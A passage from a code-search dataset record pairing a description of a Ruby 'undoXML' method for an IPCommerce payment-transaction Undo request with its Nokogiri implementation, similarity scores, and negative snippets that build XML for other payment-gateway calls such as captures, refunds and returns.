\"<AdditionalField name='#{name}' value='#{value}' />\"\n end\n xml_string << '</Link>'\n end\n xml_string << '</Links>'\n xml_string << '</ResponseData>'\n \n ## Messages\n xml_string << '<ResponseMessages>'\n transform_obj.responseMessages.each do |responseMessage|\n xml_string << \"<Message \"\n xml_string << \"title='#{responseMessage.title}' \"\n xml_string << \"type='#{responseMessage.type}'>\"\n xml_string << \"#{responseMessage.body}\"\n xml_string << '</Message>'\n end\n xml_string << '</ResponseMessages>'\n xml_string << '</PoortegoTransformResponse>'\n @xml_response = xml_string\n return @xml_response\n end" ]
[ "0.6456082", "0.6232635", "0.6192524", "0.6133825", "0.60540634", "0.5929281", "0.58599424", "0.57771397", "0.5716329", "0.56761783", "0.56524867", "0.56460756", "0.5638206", "0.5573087", "0.554828", "0.5532143", "0.5485918", "0.5473962", "0.54593277", "0.5456444", "0.5453029", "0.54440767", "0.53836805", "0.5374964", "0.53743804", "0.53743804", "0.53743804", "0.53743804", "0.53743804", "0.53743804", "0.53739965", "0.5358515", "0.5342426", "0.5341205", "0.5334909", "0.53341156", "0.533387", "0.5320292", "0.53171563", "0.5311918", "0.5311918", "0.53049445", "0.5287183", "0.5286429", "0.5282417", "0.5281663", "0.5281629", "0.5280053", "0.5279893", "0.5271304", "0.52380896", "0.52319205", "0.5230851", "0.5223757", "0.52108693", "0.51781994", "0.5175853", "0.517494", "0.5174265", "0.51696604", "0.51691574", "0.5161107", "0.5149607", "0.51301646", "0.5126919", "0.5126076", "0.5116033", "0.51139295", "0.51109654", "0.5103463", "0.5100029", "0.50972956", "0.5086155", "0.5081699", "0.5081209", "0.5069378", "0.5063284", "0.5052783", "0.5051308", "0.50489277", "0.5037911", "0.5033599", "0.5022829", "0.5018124", "0.5015948", "0.5011246", "0.50064695", "0.50010705", "0.49980384", "0.49887323", "0.49789998", "0.49748224", "0.497391", "0.49730295", "0.4961888", "0.49616686", "0.49567902", "0.49531665", "0.4951453", "0.4945448" ]
0.759805
0
Create Undo xml as per the api format . "params" is collection keyvalues, in this "params" hold TransactionId. It returns xml format in string.
def undoXML(params) begin Nokogiri::XML::Builder.new do |xml| xml.Undo('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>"Undo" ) { xml.ApplicationProfileId application_profile_id xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays','i:nil' => "true") xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions','i:nil' => "true") xml.MerchantProfileId merchant_profile_id xml.TransactionId params[:TransactionId] } end.to_xml rescue Exception => ex return "transaction id not set in xml for undoXML!" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def adjustXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.Adjust('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"Adjust\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:ns2' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",\n 'xmlns:ns3' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\") {\n if params[:Amount] != ''\n xml['ns2'].Amount params[:Amount]\n else\n xml['ns2'].Amount '0.00'\n end \n xml['ns3'].TransactionId params[:TransactionId]\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for adjustXML!\"\n end \n end", "def returnByIdXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnById('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnById\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil' => \"true\")\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', 'i:type' => \"ns1:BankcardReturn\"){\n xml['ns2'].TransactionId params[:TransactionId] ,'xmlns:ns2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions'\n if params[:Amount] != ''\n xml['ns1'].Amount params[:Amount]\n else\n xml['ns1'].Amount '0.00'\n end\n }\n xml.MerchantProfileId merchant_profile_id\n } \n end.to_xml\n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for returnByIdXML!\"\n end \n end", "def build_xml( id, price, options )\n xml = ::Builder::XmlMarkup.new\n xml.GenerateRequest do\n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.AmountInput sprintf(\"%.2f\", price)\n xml.TxnId id\n xml.TxnType options[:txn_type] ? options[:txn_type].to_s.capitalize : \"Purchase\"\n xml.CurrencyInput options[:currency_input] || \"NZD\"\n xml.MerchantReference options[:merchant_reference] || options[:reference] || id.to_s ## Backwards compatibility\n xml.UrlSuccess options[:url_success] || ::Pxpay::Base.url_success \n xml.UrlFail options[:url_failure] || ::Pxpay::Base.url_failure\n xml.EmailAddress options[:email_address] if options[:email_address]\n xml.TxnData1 options[:txn_data1] if options[:txn_data1]\n xml.TxnData2 options[:txn_data2] if options[:txn_data2]\n xml.TxnData3 options[:txn_data3] if options[:txn_data3]\n xml.TxnData4 options[:txn_data4] if options[:txn_data4]\n xml.Opt options[:opt] if options[:opt]\n xml.EnableAddBillCard 1 if options[:token_billing]\n xml.BillingId options[:billing_id] if options[:token_billing]\n end\n end", "def returnUnlinkedXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnTransaction\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for returnUnlinkedXML!\"\n end\n end", "def captureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ChangeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"Capture\" ) {\n xml.ApplicationProfileId application_profile_id #'14644'\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:d2p2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', \n 'xmlns:d2p3' => 'http://schemas.ipcommerce.com/CWS/v2.0/TransactionProcessing',\n 'i:type' => \"d2p2:BankcardCapture\"){\n xml['d2p1'].TransactionId params[:TransactionId]#'760CBDD65E4642E49A3CD2E2F3257A10'\n if params[:Amount] != ''\n xml['d2p2'].Amount params[:Amount]\n else\n xml['d2p2'].Amount '0.00'\n end \n xml['d2p2'].TipAmount '0.00' \n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for captureXML!\"\n end \n end", "def rollback opts = {}\n update opts.merge(:data => xml.rollback)\n end", "def transactions\n txs = @client.listtransactions.reverse\n txs.map do |tx|\n tx = symbolize tx\n Transaction.new(\n account: tx.f(:account),\n address: tx.f(:address),\n category: tx.f(:category),\n amount: tx.f(:amount),\n vout: tx.f(:vout),\n confirmations: tx.f(:confirmations),\n blockhash: tx[:blockhash],\n blockindex: tx[:blockindex],\n blocktime: tx[:blocktime],\n txid: tx.f(:txid),\n keychainconflicts: tx.f(:keychainconflicts),\n time: tx.f(:time),\n timereceived: tx.f(:timereceived),\n )\n end\n end", "def to_xml\n\n prelude = \"<?xml version='1.0'?>\\n<Root xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:noNamespaceSchemaLocation='file:///order.xsd'>\\n<order>\"\n str= [ add_costs_xml,\n additional_text_xml,\n customer_id,\n delivery_country_code,\n delivery_date_xml,\n delivery_name_1,\n delivery_name_2,\n delivery_name_3,\n delivery_place,\n delivery_print_code_xml,\n delivery_street,\n delivery_codes,\n delivery_zipcode,\n discount_xml,\n gross_price_code,\n invoice_country_code,\n invoice_name_1,\n invoice_name_2,\n invoice_name_3,\n invoice_place,\n invoice_print_code_xml,\n invoice_street,\n invoice_zipcode,\n order_type,\n payment_codes,\n reference_1,\n reference_2,\n representative_1,\n short_name,\n urgent_code,\n tax_code,\n order_release_code\n ].compact\n str.each do |s|\n s = s.force_encoding('UTF-8')\n end\n all = str.join(\"\\n\")\n ending = \"<positionen AnzPos='#{positions.length}'>#{xml_for(positions)}</positionen>\\n</order>\\n</Root>\"\n prelude + all + ending\n end", "def to_xml\n raise WebexXmlApi::NotEnoughArguments, 'SecurityContext' unless valid?\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml.header do\n xml.securityContext do\n PARAMETER_MAPPING.each_pair do |k, v|\n xml.send(v, send(k)) if send(k)\n end\n end\n end\n end\n builder.to_xml.gsub(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\", '')\n end", "def to_xml_change\n doc = Nokogiri::XML::Document.new\n root = doc.create_element(\"#{identifier.tag_name.gsub(/Id$/, '')}Change\")\n root << identifier.to_xml\n root << to_xml_updates\n root\n end", "def to_xml\n header = build_header\n body = build_body\n envelope = build_envelope\n envelope << header\n envelope << body\n doc = Ox::Document.new(version: '1.0')\n doc << envelope\n Ox.dump(doc)\n end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_raw_tx\n connection.request self.class.to_create_request, to_params\n end", "def toXmlStr(otObject, depth=1)\n tempDb = XMLDatabase.new\n tempObjectService = @otrunk.createObjectService(tempDb)\n newObj = tempObjectService.copyObject(otObject, depth)\n tempDb.setRoot(newObj.getGlobalId)\n outStream = ByteArrayOutputStream.new\n ExporterJDOM.export(outStream, tempDb.getRoot(), tempDb)\n outStream.toString\n end", "def build_request_xml(function, param, extra = nil)\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?>\\n\"\n xml << \"<dados>\\n\"\n xml << \" <usuario>#{@user}</usuario>\\n\"\n xml << \" <senha>#{@password}</senha>\\n\"\n xml << \" <funcao>#{function}</funcao>\\n\"\n xml << \" <param>#{param}</param>\\n\"\n xml << \" <param2>#{extra}</param2>\\n\" if extra\n xml << \" <retorno>#{RETURN_FORMATS[@format]}</retorno>\\n\"\n xml << \"</dados>\"\n xml\n end", "def build_command(action, object, attributes = nil, cookie = nil)\n xml = <<-XML\n\n <?xml version='1.0' encoding='UTF-8' standalone='no' ?>\n <!DOCTYPE OPS_envelope SYSTEM 'ops.dtd'>\n <OPS_envelope>\n <header>\n <version>0.9</version>\n </header>\n <body>\n <data_block>\n <dt_assoc>\n <item key=\"protocol\">XCP</item>\n <item key=\"action\">GET_BALANCE</item>\n <item key=\"object\">BALANCE</item>\n <item key=\"registrant_ip\"/>\n </dt_assoc>\n </data_block>\n </body>\n </OPS_envelope>\n XML\n\n doc = REXML::Document.new(xml)\n doc.root.elements[\"body/data_block/dt_assoc/item[@key='action']\"].text = action\n doc.root.elements[\"body/data_block/dt_assoc/item[@key='object']\"].text = object\n\n unless cookie.nil?\n cookie_elem = doc.root.elements[\"body/data_block/dt_assoc\"].add_element('item', {'key' => 'cookie'})\n cookie_elem.text = cookie\n end\n\n unless attributes.nil?\n elem = doc.root.elements[\"body/data_block/dt_assoc\"].add_element('item', {'key' => 'attributes'})\n elem = elem.add_element('dt_assoc')\n attributes.each_pair do |key, value|\n attrib_elem = elem.add_element('item', {'key' => key})\n if value.is_a?(Hash) || value.is_a?(Array)\n xml_add_collection_as_child(attrib_elem, value)\n else\n attrib_elem.text = (value.is_a?(String) ? value.dup : value)\n end\n end\n end\n\n doc.to_s\n end", "def undo\n {\n method: \"DOM.undo\"\n }\n end", "def from_hash_to_xml(hash)\n hash.to_xml(root: 'Request', skip_types: true, dasherize: false, skip_instruct: true)\n end", "def xml\n @xml ||= begin\n builder = ::Builder::XmlMarkup.new(:indent => 4)\n\n authed_xml_as_string(builder) do\n builder.GetReceiptInfoCall do\n builder.ReceiptFilter do\n builder.ReceiptId(id)\n end\n end\n end\n end\n end", "def create_refund_request_xml(merchantCode, orderCode, currencyCode, amount)\n xml = \"<?xml version=\\\"1.0\\\"?>\\n\"\n xml << \"<!DOCTYPE paymentService PUBLIC '-//WorldPay/DTD WorldPay PaymentService v1/EN' 'http://dtd.worldpay.com/paymentService_v1.dtd'>\\n\"\n xml << \"<paymentService version=\\\"1.4\\\" merchantCode=\\\"\" + merchantCode + \"\\\">\\n\"\n xml << \"<modify>\\n\"\n xml << \"<orderModification orderCode=\\\"\" + orderCode + \"\\\">\\n\"\n xml << \"<refund>\\n\"\n xml << \"<amount value=\\\"\"+ amount.to_s + \"\\\" currencyCode=\\\"\" + currencyCode + \"\\\" exponent=\\\"2\\\"/>\"\n xml << \"</refund>\\n\"\n xml << \"</orderModification>\\n\"\n xml << \"</modify>\\n\"\n xml << \"</paymentService>\\n\"\n xml\n end", "def to_xml\n xml = '<Action>'\n @data.each_pair {|k,v| xml += \"<#{k}>#{v}</#{k}>\"}\n xml += '</Action>'\n end", "def tran_xml(xml, index, job, batch, transaction_set_count) \n if !payer.blank? && !payer.status.blank? && (!payer.gateway.blank? || !payer.gateway_temp.blank?)\n gateway = payer.status.upcase == 'MAPPED' ? payer.gateway : (payer.gateway_temp || 'HLSC')\n payid = payer.payer_identifier(micr_line_information)\n footnote_indicator = (payer.footnote_indicator ? 1 : 0)\n else raise 'Invalid Payer'\n puts \"Payer record for check number #{check_number} is incomplete or invalid\"\n log.error \"Payer record for check number #{check_number} is incomplete or invalid\"\n end\n\n payee_name ||= batch.facility.name.to_s.strip\n xml.tran(:ID => index + 1) do\n xml.tag!(:batch_attrib, 1)\n xml.tag!(:gateway, gateway)\n xml.tag!(:pay_id, payid)\n xml.tag!(:payee_nm, (payee_name.slice(0, 25) if !payee_name.blank?))\n xml.tag!(:aba_num, (micr_line_information.aba_routing_number if micr_line_information))\n xml.tag!(:chk_act, (micr_line_information.payer_account_number if micr_line_information))\n xml.tag!(:chk_num, check_number)\n xml.tag!(:chk_amt, sprintf('%.02f', check_amount.to_f))\n xml.tag!(:eob_id, (index + 1))\n xml.tag!(:tid, job.transaction_number)\n xml.tag!(:rework, '0')\n xml.tag!(:payer_footnote_based, (footnote_indicator || 0))\n xml.tag!(:worklist_status_cd, '')\n xml.tag!(:transaction_receipt_dt, (batch.date.strftime(\"%Y-%m-%d\") unless batch.date.blank?))\n xml.tag!(:hlsc_file_nm, batch.src_file_name)\n xml.tag!(:show_on_worklist, '0')\n xml.tag!(:transaction_guid, guid)\n end\n transaction_set_count += 1\n end", "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "def to_xml\n request.clone.to_xml\n end", "def to_xml(opt={})\n to_markup(opt).target!\n end", "def to_xml(opt={})\n to_markup(opt).target!\n end", "def to_xml\n xml = String.new\n builder = Builder::XmlMarkup.new(:target => xml, :indent => 2)\n \n # Xml instructions (version and charset)\n builder.instruct!\n \n builder.source(:primary => primary_source) do\n builder.id(id, :type => \"integer\")\n builder.uri(uri.to_s)\n end\n \n xml\n end", "def to_xml\n builder = Builder::XmlMarkup.new(:indent=>2)\n builder.instruct! :xml, version: '1.0', encoding: 'UTF-8'\n xml = builder.items{ self.each{|x| builder.item(x) } }\n xml\n end", "def queryTransactionsDetailJSON(params)\n begin\n { \n :TransactionDetailFormat => 'CWSTransaction',\n :PagingParameters => { \n :Page => 0, \n :PageSize => 10\n },\n :QueryTransactionsParameters => { \n :Amounts => nil,\n :ApprovalCodes => nil,\n :BatchIds => batch_ids(params),\n :CaptureDateRange =>nil,\n :CaptureStates => nil,\n :TransactionIds => mul_trd(params),\n :MerchantProfileIds => nil,\n :CardTypes => nil,\n :IsAcknowledged=> \"false\",\n :OrderNumbers => nil,\n :QueryType => \"OR\",\n :ServiceIds => nil,\n :ServiceKeys => nil,\n :TransactionClassTypePairs=> nil,\n :TransactionDateRange=> transaction_date_range(params),\n :TransactionStates => nil,\n },\n :IncludeRelated => 'false' \n }.to_json\n rescue Exception => ex\n return \"Some value not set in querytransactiondetail, batchid, transactionid or transactiondates!\"\n end\n end", "def build_xml( result )\n xml = ::Builder::XmlMarkup.new\n \n xml.ProcessResponse do \n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.Response result\n end\n end", "def transaction_with_http_info(txid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.transaction ...'\n end\n # verify the required parameter 'txid' is set\n if @api_client.config.client_side_validation && txid.nil?\n fail ArgumentError, \"Missing the required parameter 'txid' when calling DefaultApi.transaction\"\n end\n # resource path\n local_var_path = '/api/v1/transaction'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'txid'] = txid\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Transaction' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#transaction\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def transaction_id\n params['x_trans_id']\n end", "def sales_order(record, _params)\n <<-XML\n\n <CustomerRef>\n <FullName>#{record['email']}</FullName>\n </CustomerRef>\n <TxnDate>#{Time.parse(record['placed_on']).to_date}</TxnDate>\n <RefNumber>#{record['id']}</RefNumber>\n <BillAddress>\n <Addr1>#{record['billing_address']['address1']}</Addr1>\n <Addr2>#{record['billing_address']['address2']}</Addr2>\n <City>#{record['billing_address']['city']}</City>\n <State>#{record['billing_address']['state']}</State>\n <PostalCode>#{record['billing_address']['zipcode']}</PostalCode>\n <Country>#{record['billing_address']['country']}</Country>\n </BillAddress>\n <ShipAddress>\n <Addr1>#{record['shipping_address']['address1']}</Addr1>\n <Addr2>#{record['shipping_address']['address2']}</Addr2>\n <City>#{record['shipping_address']['city']}</City>\n <State>#{record['shipping_address']['state']}</State>\n <PostalCode>#{record['shipping_address']['zipcode']}</PostalCode>\n <Country>#{record['shipping_address']['country']}</Country>\n </ShipAddress>\n #{cancel_order?(record)}\n XML\n end", "def transaction_id\n params['x_trans_id']\n end", "def build_transaction_request(money, options)\n date_time_stamp = create_time_stamp\n message = date_time_stamp +\n options[:issuer_id] +\n @options[:login] +\n SUB_ID +\n options[:return_url] +\n options[:order_id] +\n money.to_s +\n (options[:currency] || currency(money)) +\n LANGUAGE +\n options[:description] +\n options[:entrance_code]\n token_code = sign_message(@options[:pem], @options[:password], message)\n\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.tag! 'AcquirerTrxReq', 'xmlns' => 'http://www.idealdesk.com/Message', 'version' => API_VERSION do\n xml.tag! 'createDateTimeStamp', date_time_stamp\n xml.tag! 'Issuer' do\n xml.tag! 'issuerID', options[:issuer_id]\n end\n xml.tag! 'Merchant' do\n xml.tag! 'merchantID', @options[:login]\n xml.tag! 'subID', SUB_ID\n xml.tag! 'authentication', AUTHENTICATION_TYPE\n xml.tag! 'token', token\n xml.tag! 'tokenCode', token_code\n xml.tag! 'merchantReturnURL', options[:return_url]\n end\n xml.tag! 'Transaction' do\n xml.tag! 'purchaseID', options[:order_id]\n xml.tag! 'amount', money\n xml.tag! 'currency', options[:currency]\n xml.tag! 'expirationPeriod', options[:expiration_period] || default_expiration_period\n xml.tag! 'language', LANGUAGE\n xml.tag! 'description', options[:description]\n xml.tag! 'entranceCode', options[:entrance_code]\n end\n xml.target!\n end\n end", "def execute_transaction_data(create_response, parameters)\n url = make_url('ExecTran')\n\n data = {}\n data[:Version] = '105'\n data[:AccessID] = create_response[:AccessID]\n data[:AccessPass] = create_response[:AccessPass]\n data[:OrderID] = parameters[:OrderID]\n data[:Method] = '1' # Single lump-sum payment\n data[:CardNo] = parameters[:CardNo]\n data[:Expire] = parameters[:Expire]\n data[:SecurityCode] = parameters[:SecurityCode]\n data[:ClientField1] = clean_client_field(parameters[:ClientField1])\n data[:ClientField2] = clean_client_field(parameters[:ClientField2])\n data[:ClientField3] = clean_client_field(parameters[:ClientField3])\n\n [url, data.to_query]\n end", "def accounting_xml(filter_flag=INFO_ALL, options={})\n acct_hash = Hash.new\n xml_str = \"<HISTORY_RECORDS>\\n\"\n\n rc = build_accounting(filter_flag, options) do |history|\n xml_str << history.to_xml\n end\n\n return rc if OpenNebula.is_error?(rc)\n\n xml_str << \"\\n</HISTORY_RECORDS>\"\n xml_str\n end", "def prepare_update_xml(options = {})\n r = [\"<add#{options.to_xml_attribute_string}>\\n\"]\n # copy and clear pending docs\n working_docs, @pending_documents = @pending_documents, nil\n working_docs.each { |doc| r << doc.xml }\n r << \"\\n</add>\\n\"\n r.join # not sure, but I think Array#join is faster then String#<< for large buffers\n end", "def to_xml()\n XmlSimple.xml_out( { :address => self.to_hash() }, { :KeepRoot=>true, :NoAttr=>true } )\n end", "def build_transaction_refund_request(money, reference)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n xml.tag! :Transaction do\n xml.tag! :HistoricTxn do\n xml.tag! :reference, reference\n xml.tag! :method, TRANSACTION_REFUND_TYPE\n end\n unless money.nil?\n xml.tag! 